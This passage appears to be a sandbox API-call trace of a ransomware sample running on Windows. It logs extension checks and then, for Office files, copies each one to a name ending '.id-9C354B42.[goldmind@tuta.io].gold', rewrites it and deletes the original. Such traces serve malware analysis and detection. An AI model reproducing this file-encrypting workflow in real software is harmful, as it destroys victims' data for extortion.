lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString=".bz2") returned 4 [0096.792] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString=".7z") returned 3 [0096.792] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString=".dbf") returned 4 [0096.792] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString=".1cd") returned 4 [0096.792] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString=".jpg") returned 4 [0096.792] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString=".doc") returned 4 [0096.792] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString=".docx") returned 5 [0096.792] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.792] lstrlenW (lpString=".pdf") returned 4 [0096.792] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString=".xls") returned 4 [0096.792] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString=".xlsx") returned 5 [0096.792] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.792] lstrlenW (lpString=".ppt") returned 4 [0096.792] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString=".zip") returned 4 [0096.792] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.793] lstrlenW (lpString=".rar") returned 4 [0096.793] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.793] lstrlenW (lpString=".bz2") returned 4 [0096.793] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.793] lstrlenW (lpString=".7z") returned 3 [0096.793] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.793] lstrlenW (lpString=".dbf") returned 4 [0096.793] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.793] lstrlenW (lpString=".1cd") returned 4 [0096.793] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.793] lstrlenW (lpString=".jpg") returned 4 [0096.793] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.793] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.793] lstrlenW (lpString="Urban.eftx") returned 10 [0096.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.506] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=19611) returned 1 [0097.506] CloseHandle (hObject=0x3b0) returned 1 [0097.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0097.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.476] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.476] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.854] GetLastError () returned 0x0 [0098.854] ReadFile (in: hFile=0x33c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0098.932] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0098.933] ReadFile (in: hFile=0x33c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.933] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0098.933] SetEndOfFile (hFile=0x380) returned 1 [0098.934] CloseHandle (hObject=0x380) returned 1 [0098.934] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.934] SetEndOfFile (hFile=0x33c) returned 1 [0098.937] CloseHandle (hObject=0x33c) returned 1 [0098.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0098.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.938] lstrlenW (lpString=".doc") returned 4 [0098.938] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString=".docx") returned 5 [0098.938] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.938] lstrlenW (lpString=".pdf") returned 4 [0098.938] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString=".xls") returned 4 [0098.938] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString=".xlsx") returned 5 [0098.938] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.938] lstrlenW (lpString=".ppt") returned 4 [0098.938] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.938] lstrlenW (lpString=".zip") returned 4 [0098.938] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString=".rar") returned 4 [0098.938] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString=".bz2") returned 4 [0098.938] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.938] lstrlenW (lpString=".7z") returned 3 [0098.939] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".dbf") returned 4 [0098.939] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".1cd") returned 4 [0098.939] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".jpg") returned 4 [0098.939] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".doc") returned 4 [0098.939] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString=".docx") returned 5 [0098.939] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.939] lstrlenW (lpString=".pdf") returned 4 [0098.939] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString=".xls") returned 4 [0098.939] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString=".xlsx") returned 5 [0098.939] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.939] lstrlenW (lpString=".ppt") returned 4 [0098.939] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".zip") returned 4 [0098.939] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString=".rar") returned 4 [0098.939] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString=".bz2") returned 4 [0098.939] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString=".7z") returned 3 [0098.939] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".dbf") returned 4 [0098.939] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".1cd") returned 4 [0098.939] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0098.939] lstrlenW (lpString=".jpg") returned 4 [0098.939] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.939] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0098.939] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0098.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.940] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=21424) returned 1 [0098.940] CloseHandle (hObject=0x33c) returned 1 [0098.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20 [0098.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.940] lstrlenW (lpString=".doc") returned 4 [0098.940] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.940] lstrlenW (lpString=".docx") returned 5 [0098.940] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0098.940] lstrlenW (lpString=".pdf") returned 4 [0098.940] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.940] lstrlenW (lpString=".xls") returned 4 [0098.940] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.940] lstrlenW (lpString=".xlsx") returned 5 [0098.940] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0098.940] lstrlenW (lpString=".ppt") returned 4 [0098.940] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.940] lstrlenW (lpString=".zip") returned 4 [0098.940] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.940] lstrlenW (lpString=".rar") returned 4 [0098.940] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.940] lstrlenW (lpString=".bz2") returned 4 [0098.940] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.941] lstrlenW (lpString=".7z") returned 3 [0098.941] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".dbf") returned 4 [0098.941] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".1cd") returned 4 [0098.941] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".jpg") returned 4 [0098.941] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".doc") returned 4 [0098.941] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString=".docx") returned 5 [0098.941] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0098.941] lstrlenW (lpString=".pdf") returned 4 [0098.941] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString=".xls") returned 4 [0098.941] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString=".xlsx") returned 5 [0098.941] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0098.941] lstrlenW (lpString=".ppt") returned 4 [0098.941] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".zip") returned 4 [0098.941] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString=".rar") returned 4 [0098.941] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.941] lstrlenW (lpString=".bz2") returned 4 [0098.941] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.941] lstrlenW (lpString=".7z") returned 3 [0098.941] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".dbf") returned 4 [0098.941] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".1cd") returned 4 [0098.941] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0098.941] lstrlenW (lpString=".jpg") returned 4 [0098.941] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.941] lstrcmpiW (lpString1=".ACC", lpString2=".gold") returned -1 [0098.941] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0098.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.942] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=495616) returned 1 [0098.942] CloseHandle (hObject=0x33c) returned 1 [0098.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0098.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.942] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.942] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.616] GetLastError () returned 0x0 [0099.616] ReadFile (in: hFile=0x33c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x79000, lpOverlapped=0x0) returned 1 [0099.631] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x79010, lpOverlapped=0x0) returned 1 [0099.637] ReadFile (in: hFile=0x33c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.637] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.637] SetEndOfFile (hFile=0x380) returned 1 [0099.638] CloseHandle (hObject=0x380) returned 1 [0099.638] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.638] SetEndOfFile (hFile=0x33c) returned 1 [0100.129] CloseHandle (hObject=0x33c) returned 1 [0100.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 1 [0100.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.254] lstrlenW (lpString=".doc") returned 4 [0100.254] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString=".docx") returned 5 [0100.254] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0100.254] lstrlenW (lpString=".pdf") returned 4 [0100.254] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString=".xls") returned 4 [0100.254] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString=".xlsx") returned 5 [0100.254] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0100.254] lstrlenW (lpString=".ppt") returned 4 [0100.254] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.254] lstrlenW (lpString=".zip") returned 4 [0100.254] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString=".rar") returned 4 [0100.254] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString=".bz2") returned 4 [0100.254] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString=".7z") returned 3 [0100.254] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0100.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.254] lstrlenW (lpString=".dbf") returned 4 [0100.254] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0100.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.254] lstrlenW (lpString=".1cd") returned 4 [0100.255] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString=".jpg") returned 4 [0100.255] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString=".doc") returned 4 [0100.255] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString=".docx") returned 5 [0100.255] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0100.255] lstrlenW (lpString=".pdf") returned 4 [0100.255] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString=".xls") returned 4 [0100.255] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString=".xlsx") returned 5 [0100.255] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0100.255] lstrlenW (lpString=".ppt") returned 4 [0100.255] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString=".zip") returned 4 [0100.255] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString=".rar") returned 4 [0100.255] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString=".bz2") returned 4 [0100.255] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString=".7z") returned 3 [0100.255] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString=".dbf") returned 4 [0100.255] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString=".1cd") returned 4 [0100.255] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0100.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0100.255] lstrlenW (lpString=".jpg") returned 4 [0100.255] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0100.255] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0100.256] lstrlenW (lpString="DWGCNV.VSL") returned 10 [0100.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0100.616] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=38752) returned 1 [0100.616] 